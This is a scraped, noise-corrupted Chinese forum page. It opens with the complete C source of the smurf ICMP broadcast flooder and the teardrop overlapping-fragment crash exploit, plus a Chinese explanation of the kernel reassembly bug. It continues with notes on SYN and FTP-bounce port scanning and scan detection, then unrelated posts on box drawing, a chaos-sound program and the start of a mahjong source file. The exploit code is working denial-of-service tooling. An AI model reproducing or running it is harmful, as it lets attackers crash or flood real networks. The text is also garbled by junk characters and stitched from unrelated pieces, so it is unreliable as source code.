#include <STDIO.H>
#include <STDLIB.H>
; o5 T9 u- E0 \' G2 L( d#include <SYS socket.h>
9 W4 N8 ]5 y& v3 g5 r#include <SYS types.h>
: S0 n3 U9 G) B* _$ ~" l' |9 h2 |8 M#include <NETINET in.h>
#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
) q9 d# D2 w1 N#include <NETDB.H>
' n. T) d' I) B" Q- D. i#include <CTYPE.H>
' @* {9 l$ D/ d  Z) G6 u#include <ARPA inet.h>
#include <UNISTD.H>
0 B* d& J# p* ~3 [#include <STRING.H></P><P>void banner(void);
void usage(char *);
% g+ v8 y( P$ d1 Lvoid smurf(int, struct sockaddr_in, u_long, int);
/ I% d# W# M% V) n5 E' ^7 U7 mvoid ctrlc(int);
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
% C( v9 n6 O; \: @- q4 schar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
" p0 o: A4 L( ?6 tchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
8 R- H9 r1 d0 C  gperror("resolving source host");
exit(-1);
3 q9 m# o/ Y0 m4 A3 o6 Y}
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
& C$ n7 Z* _5 x, m1 E- }! [1 k1 l, J, esin.sin_family = AF_INET;
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
( e$ }6 w1 o( xexit(-1);
}
x = 0;
8 _3 v# L8 l: @0 y8 Ewhile (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i &lt; strlen(buf); i++)
if (buf == '\n') buf = '\0';
bcastaddr[x] = malloc(32);
9 M# O* a) _9 d3 w' K; q' cstrcpy(bcastaddr[x], buf);
: {9 _4 P/ a6 O$ a' I! ?! ?4 Bx++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
7 X1 l# U; U2 q/ j% h9 K/ A}
if (pktsize &gt; 1024) {
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
2 U1 B1 u' p/ ]exit(-1);
1 `: n6 F! J# \4 T; s  a& B: e; T- l}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
" T' p# a' w, K0 o8 M6 j% ^/ ]perror("getting socket");
' T5 a6 G7 l0 c; X$ Zexit(-1);
* m4 H0 E' t+ v# u) Y8 z}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
9 V# X& z; j' _0 y! uif (!(i % 25)) { printf("."); fflush(stdout); }
3 H0 B8 W! A+ ?* S" c8 Jsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
) @, m  j+ h7 G4 j$ kputs("\n\n");
return 0;
/ T6 N! R0 B0 y. }2 l}</P><P>void banner (void)
! `, @$ ]( g' \0 a2 g{
puts("\nsmurf.c v4.0 by TFreak\n");
}</P><P>void usage (char *prog)
{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
"<NUM packets> <PACKET delay><PACKET size>\n\n"
"target = address to hit\n"
/ d* ^3 q# u7 ^. D( I0 j"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (&lt; 1024)\n\n", prog);
1 M! h* ]& f4 p  n1 n0 ~+ d. l3 z" Iexit(-1);
; w. h# X3 I: u3 ^) \* s1 M7 |}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
8 [7 S  C8 k' _/ q- Y) h% Mchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
2 S2 S& j# K' B) a! |5 gicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-&gt;ihl = 5;
, e# e' g) D( K  Y8 fip-&gt;version = 4;
ip-&gt;ttl = 255;
ip-&gt;tos = 0;
ip-&gt;frag_off = 0;
+ m6 }8 U" U* B/ h- r5 bip-&gt;protocol = IPPROTO_ICMP;
" z" l" ~. p% D* Wip-&gt;saddr = sin.sin_addr.s_addr;
& R# V% B% X  r9 N6 F$ {ip-&gt;daddr = dest;
: |+ u) T6 A6 B6 M: J+ q! U6 Dip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp-&gt;type = 8;
icmp-&gt;code = 0;
* I7 ^; b7 R  M# N8 Cicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
  N+ {% w; o' v6 e1 I}</P><P>void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
3 W& t% e: N" A}</P><P>unsigned short in_chksum (u_short *addr, int len)
# z! S$ m$ d1 m- ~2 p; S{
register int nleft = len;
4 h7 L; a7 \4 h& I. kregister int sum = 0;
/ S. }) r' v7 N, I0 K1 ru_short answer = 0;</P><P>while (nleft &gt; 1) {
sum += *addr++;
nleft -= 2;
}</P><P>if (nleft == 1) {
*(u_char *)(&amp;answer) = *(u_char *)addr;
' p. G( n; ?  v( k* ~( t  D: ~sum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
& S; }; n% y% [& H7 D, `' U% asum += (sum &gt;&gt; 16);
2 Z( N% [9 E/ ^2 S0 F# F6 x) k  Vanswer = ~sum;
* v: N0 v0 Q6 s6 u, d) @; Ereturn(answer);
}</P><P>
, W* }5 d6 u& ~7 h% t0 F3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
, P3 g! L0 l, Q: ]* j0 }- ]fp = qp-&gt;fragments;
: y+ J3 r; R  p2 F- v- [! [% I3 z3 wwhile(fp != NULL)
{
if(count+fp-&gt;len &gt; skb-&gt;len)
. X3 h4 l. _7 j# E$ j3 c0 u{
error_to_big;
2 z! G  x' N0 e. b. r+ C7 ~( `  D6 O}
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
+ |* a0 e0 Z2 S% l: T$ ]count += fp-&gt;len;
fp = fp-&gt;next;
}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
7 X$ P% R1 h( v1 G& V是这样处理的：
$ Z2 T, }6 F$ A6 C! e: [5 F+ tif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
! ]0 ?" H  l9 X: w1 S) ]6 u- p{
$ _4 Q+ e% k, \4 `9 o1 si = prev-&gt;end - offset;
! ?; s/ q+ H# n- |" Y2 ^( |4 Koffset += i; /* ptr into datagram */
1 d% A( O8 d7 X9 wptr += i; /* ptr into fragment data */
# r( X0 y% d+ E4 N" M}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
, G& b4 _. T) Pfp-&gt;end = end;
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
% Z% j. `+ e- ^1 v第一个碎片：mf=1 offset=0 payload=20
" Y7 Z( n6 F4 O敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
offset=0
% _4 `2 D* f: R% L4 j4 p$ G这样第二个碎片的 end=9+10=19
$ M% f, d( b# voffset=offset+（20-offset）=20
fp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
/*
+ k# m% N2 M/ y8 w+ U% E* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
! O5 Q6 z  l& {+ q+ Y*
  I7 ?# r! j) [* v1 l9 E* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
- j: g$ a9 {4 E, p) l! h9 s* NT 4.0 / Windows 95 (others?)
" N6 B) o4 l# O2 i*
* t- a5 @: Z% }* d' N  n. _* Based off of: flip.c by klepto
1 n; g# E  h: M$ I; _, G3 B* Compiles on: Linux, *BSD*
*
. \- R- f$ l, r' |* gcc -O2 teardrop.c -o teardrop
& f7 l; f/ Z9 L: E0 |" N* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/</P><P>#include <STDIO.H>
& v5 `0 f. O( w$ M. f' d! Z* J#include <STDLIB.H>
#include <UNISTD.H>
#include <STRING.H>
" {& ?. [7 S( o#include <NETDB.H>
9 S; c5 U, h2 c& I; j. T. X0 H#include <NETINET in.h>
#include <NETINET udp.h>
$ v5 ^' J3 @1 a+ {& c#include <ARPA inet.h>
#include <SYS types.h>
7 f& C# ^! M" a- `#include <SYS time.h>
+ T, _' v5 l& h# W#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
8 i' F# X1 K3 p' A1 a4 z/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
5 }' T0 D, v9 i' s2 c: R4 c#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
- i- R$ C0 y! x2 o#define FIX(n) htons(n)
; e" u  l/ e& `. ^8 D5 c#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
! A1 U/ q, M) I9 o#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
+ p3 C+ ^3 F; ^# s; N* k0 E#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
& B& ~, Z7 q- }' O" [& m9 I*/</P><P>void usage(u_char *);
9 ^% M4 Q* L5 A( P/ ku_long name_resolve(u_char *);
+ `/ k) R3 s+ c0 B% \# A4 ?u_short in_cksum(u_short *, int);
* _; |4 I  U" |& ovoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
{
int one = 1,
0 }8 O/ o! V+ i$ Lcount = 0,
; l1 L0 r/ A& {$ t  R( Ji,
& F$ p' x# x" r$ {& c  e9 yrip_sock;
8 b; ]! {( x8 Ru_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
5 s1 X% J7 R/ a3 D7 L) d: g1 H. ^{
perror("raw socket");
- g) r+ e, n4 U1 u. y) lexit(1);
. l6 \2 j" s5 f, f/ m}
6 [( T4 a. Y8 U//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
&lt; 0)
{
perror("IP_HDRINCL");
exit(1);
}</P><P>if (argc &lt; 3) usage(argv[0]);
) y! Q4 V/ o" s( b2 z$ a5 bif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
6 G& C# N* r7 H{
& x% M& z" z6 H" R- G0 Vfprintf(stderr, "What the hell kind of IP address is that?\n");
) B; C" n$ u9 E7 I' d+ lexit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
' {' M0 U2 I5 C' b/ o{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
5 \9 A/ o7 r6 T# }5 X( p% ecase 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
7 e8 z7 C+ ?! V7 @1 H4 L: n4 tbreak;
1 w' @4 w6 H- Q" F, Tcase 'n': /* number to send */
7 @; c& v* o% F: ]: ?count = atoi(optarg);
break;
' s: W8 B" x5 P; Bdefault :
$ }6 e3 g- Y8 v$ Q" ?& Vusage(argv[0]);
break; /* NOTREACHED */
2 G/ U6 B; y* x4 e- E  a* ~/ Z}
) J0 k5 g3 J# E2 J) H}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
% B, [7 ]# q. |! M. @; D4 sif (!dst_prt) dst_prt = (random() % 0xffff);
) ]: E, v& V" n7 u: v; uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
$ ^7 [# g9 M" n. i  Jaddr.s_addr = src_ip;
: |- d$ g, H1 afprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
5 Z" I! g% i! ^; G! P( `fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
' {/ v7 f8 W9 d- S) Z; Jfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
/ ]6 Q6 m1 Q  }. }; ~$ g. A6 a{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
2 _; E, C0 V, @. J' ffprintf(stderr, "b00m ");
% }# Z3 c9 ]1 p3 c4 N* A& qusleep(500);
}
7 k7 C7 c9 K- _* Yfprintf(stderr, "]\n");
return (0);
2 R2 Y0 j8 b, F) @: }) r}</P><P>/*
* Send two IP fragments with pathological offsets. We use an implementation
. a& n" U9 M4 H0 O* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
9 Z; u% `" U  S4 X5 `# ~u_short dst_prt)
{
$ p, R8 y) a% U3 P9 ]u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
! b0 w" W) [6 b, l  R: r( D$ d+ Q, cstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;</P><P>/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
/ }6 |# A6 t- B, q, O0 E5 [p_ptr = packet;
0 m% M! p; S1 }/ p+ gbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
& _, Y% }5 C9 u8 P, Pmemcpy(p_ptr, &amp;byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
# A  k+ G% \7 l( p  d# a4 k* S2 \. rp_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
8 U: d6 V" w* p! r* Rp_ptr += 2;
; ?: s) k# J. b' J*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
/ Z9 n% k6 y5 z0 x" s/ j! Up_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
* o+ T" ^- i  ?" s: `p_ptr += 4; /* IP checksum filled in by kernel */
5 i) }. a8 X" D# e2 n, R- p*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
7 E: q. W1 G  l* {! l$ e7 O*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
* y1 s! v* n6 \2 V; j, Ap_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
* u6 E/ E6 h- a% [9 d2 g: G6 |3 csizeof(struct sockaddr)) == -1)
5 \6 p! f6 n5 _1 u) z{
perror("\nsendto");
free(packet);
exit(1);
}</P><P>/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
4 f# a6 }4 Z/ Y+ o* enough payload to cover complete the datagram. Just the header will
; G# k) K9 M4 S+ T5 c/ X; g* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
7 D  w7 L& \, E*/
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
5 N7 j* n& b, E/ Q  t: |$ C*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
{
% \: \$ i1 ?; S" A/ A7 ~9 K2 Bperror("\nsendto");
  ]+ P: c% q2 Q. H: Efree(packet);
) G7 D9 A  l+ G  vexit(1);
" }1 B7 r6 O9 X0 X' c}
) Q& C4 j/ D5 S+ `* L2 Z, ^7 O0 jfree(packet);
}</P><P>u_long name_resolve(u_char *host_name)
{
0 u, c" t* L! Ustruct in_addr addr;
& U3 S& ^7 p- V/ ^8 H0 }. zstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
! F& c6 M' p5 J* @; Y% _/ F. {{
if (!(host_ent = gethostbyname(host_name))) return (0);
. K* D: ^, R' T  J' v; w+ obcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
6 I. q2 T: @, L/ E& K; Y9 S8 S}
" ^! [% F, e& P) z- e* B: v+ }return (addr.s_addr);
}</P><P>void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
6 ^4 s0 B: m- u) ?% ^/ Yname);
& Q2 I" R# f& F1 \7 T# O; oexit(0);
}</P><P>
, D$ l, F1 j5 o, x$ _7 c4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
7 C, t0 c6 J+ @: E7 ~. P( a# G(1) Half-open（半打开）
8 e+ N4 L2 h# B7 n" @4 U7 N: x利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
3 s. j% v6 d8 ^, @: t3 U% `8 a如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
; T# m' t# o# Y1 R3 G利用了FTP的port命令，例如可以这样作：
" r1 G1 ~+ x, P1 \1 T1 e选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
% n: y% T" O# K" |该端口无服务。
telnet 192.168.1.13 21
0 ]8 [; [4 ?$ j6 |% K* ]Trying 192.168.1.13...
Connected to pp.bricks.org.
7 y; ~; y5 G8 n* E' S# |; SEscape character is '^]'.
9 j+ d* z, S6 ?2 c; m220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
( m$ P4 j/ p' f9 C! q  g; [/ H5 F7 AThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
$ w% X9 F0 p9 d8 y6 y" E331 Guest login ok, send your complete e-mail address as password.
9 B$ B% g3 ^% a+ A6 Ppass aa@aa.aa
4 n  Z+ {) M. }# ?: Q230 Guest login ok, access restrictions apply.
1 \' s+ e8 Q( i5 Dport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
8 U& g8 p* {9 s: b, e//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
& B- A. ?: s2 Y//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
  _, Y; E6 C9 X  d* i/ x7 SACK Nothing RST
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
* q9 a- H& b5 B* q8 F- u若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。</P><P>notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
* g: D0 B! h3 p6 N) F<FONT color=#009900>/*
+ K7 G1 ]# n9 _' F# c. O3 R*
* Short driver module
*
% \) z! {) T  ]7 X; h( @- K*/</FONT></P><><FONT color=#009900>main()
{
+ {1 O) M# |( x+ Tclrscr();
# r* b4 ]8 u/ i- Obox(1,1,23,79);
! J5 e+ c, U3 |) Y; d2 g& zbox(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
box(5,5,15,71);
$ R9 A7 K: ?; ^( G% |& _/ ?2 Lbox(6,6,13,69);
box(7,7,11,67);
box(8,8,9,65);
6 N6 Z) |# h+ s% `1 _box(9,9,7,63);
box(10,10,5,61);
) u' b2 e4 S  O: L% _# w2 {box(11,11,3,59);
: p5 T% F* u4 E. \, X1 Obox(12,12,1,57);
poscur(24,1);
}</FONT></P><><FONT color=#009900>/************************************************************
! M3 n! C' N& C0 P* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
4 ~" ]0 M8 c# F, I3 }: j& S* Modified by: xxxxxxxxxx *
* *
* Please modify me! *
- {6 j' w! d! W/ a& \" ], C# I* Possible Enhancements include but are not limited t *
* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
! N+ l7 ~7 ?; _, {( |* 3) Color options *
$ Y* Z$ Q( r% P* *
* *
. \* G3 v: i+ _: B* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
1 N/ G# i2 C3 P. u4 W* left corner row, upper left corner column the height *
* of the frame and the width. *
* *
************************************************************/
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
; V: s: ~( s# K/ e6 X$ g) N9 w#define URCOR 187
#define LLCOR 200
9 U: p; |' h- ?#define LRCOR 188
$ @, |3 E2 B+ s1 @! X$ ^, [, s#define VBAR 186
#define HBAR 205
" A- N+ q4 @/ O# Q#define ESC 27</FONT></P><><FONT color=#009900>
box(row, col, hgt, wdth)
; ^7 e, d( c8 Q7 t* A( Gint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
0 F' n) X- f" A$ h/ e1 w" v7 wputchar(ULCOR);
for(x = col + 1; x &lt;=(col + wdth -1); x++)
# x0 _' t( l9 |4 J7 n4 y6 Yputchar(HBAR);
# t: C, j1 i& `9 r  ^' E2 l7 {putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
! F) A- C8 l, r: f: m  hposcur(x,col);
5 Z% w5 `# v( f+ T3 `) M6 X$ }+ Kputchar(VBAR);
! C; s; R4 |& h+ Tposcur(x,col+wdth);
( A$ B4 \! `8 W4 ~putchar(VBAR);
" j# |" W! l; q5 ~}
poscur(x,col);
7 ~  i& I4 y/ z. L# L/ b! M, ]/ _putchar(LLCOR);
for(x= col + 1; x &lt;=(col + wdth -1); x++)
3 _3 P. ]7 T# k8 p7 H' D5 ], Lputchar(HBAR);
putchar(LRCOR);
}</FONT></P><><FONT color=#009900>/********************************************************
& @" A, b7 G& `* POSCUR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
5 U% ]1 |9 r3 a  [. J) d1 C9 l* most portable. *
* *
********************************************************/
- G; m7 S% E7 N  h: r: xposcur(xcor,ycor)
2 R6 g' v: W, e) Q4 Pint xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
  [( B, [" [" b% S! u( s4 d}</FONT></P><><FONT color=#009900>
  Z* l: p* s% c. y/********************************************************
, Y. T. c  }+ }2 l9 v* CLRSCR *
*------------------------------------------------------*
' t3 T* j. H8 ^6 o& u2 X* This function positions the cursor at the specified *
9 \  m8 W$ i6 X& l* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
+ f! l  W% W& h, r! Y. u) H9 ~6 I* most portable. *
# m# B" w: h8 n  U3 M' L) u6 F* *
8 O1 }" }& f, \1 y) m$ F********************************************************/
" S* `9 T" G' u3 ?8 Hclrscr()
9 L7 E% F7 A# t! ?{
printf("%c[2J",ESC);
}</FONT>
</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：

　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
" R" P3 P# y% Y; X" D　　<FONT color=#009900>＃include <DOS.H>
! j# t9 K$ l! J# l　　＃include <STDIO.H>
& {1 J2 J" X' C/ F0 H9 r　　main(){
( T7 y  }8 h4 Z$ p) |! E$ Z. E　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
% J- Q" {* }1 K, o# B+ u9 N8 R　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
4 ~* w, p7 Y1 j4 d2 |　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
6 T0 I3 @. N+ l# g. j6 A　　fDis=fMax－fMin;
2 @, R$ C; [, ~% \9 N0 L5 J# y. P　　for(j=1;;j＋＋){
　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
9 V" g- f$ ~3 w& {# i' V$ X　　if (k==0) break;
1 Y5 T$ _: z  I- W/ W/ n0 y　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
0 g+ Q1 y0 y1 Q4 }8 c1 Q! q% D9 a- {　　x=k＊x＊(1－x);
　　for (i=1;i&lt;100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
9 G- d4 s' W# t; z　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
0 ^1 A% D; \9 |　　delay(1000); }
8 }$ w: h. f: ~, u- ?8 ^4 ?　　nosound(); }}
　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
0 M5 x* k1 A+ ~" |. a8 @/*天宇软件
2 a( M6 a& E, C/ A作者：上海黑暗之龙
2002/10/30
" u' @2 q' o- ^6 Z! \" e: o* D$ d  _+ g麻将原代码*/
#include "dos.h"
#include "stdio.h"
' D! T, T& i; V& I0 x#include "graphics.h"
#include "bios.h"
#include "conio.h"
